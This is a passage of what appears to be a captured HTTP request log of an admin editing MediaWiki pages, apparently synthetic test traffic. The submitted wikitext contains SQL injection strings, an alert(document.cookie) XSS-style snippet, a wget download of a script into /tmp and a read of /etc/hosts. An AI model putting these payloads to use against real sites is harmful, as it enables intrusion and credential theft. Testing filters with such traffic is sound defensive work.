name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun powershell and ls -la.\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ powershell\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04--\r\n"}
{"method": "GET", "target": "/index.php?title=Powershell_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=powershell&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+powershell.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpowershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=po&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1670", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 317", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3217", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvdrTidZqfABYUKj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1720", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3325", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhJslavTCvR7BPWnI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI--\r\n"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3319", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZQBAD49UylBGXkuE", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryZQBAD49UylBGXkuE\r\nContent-Disposition: form-data; 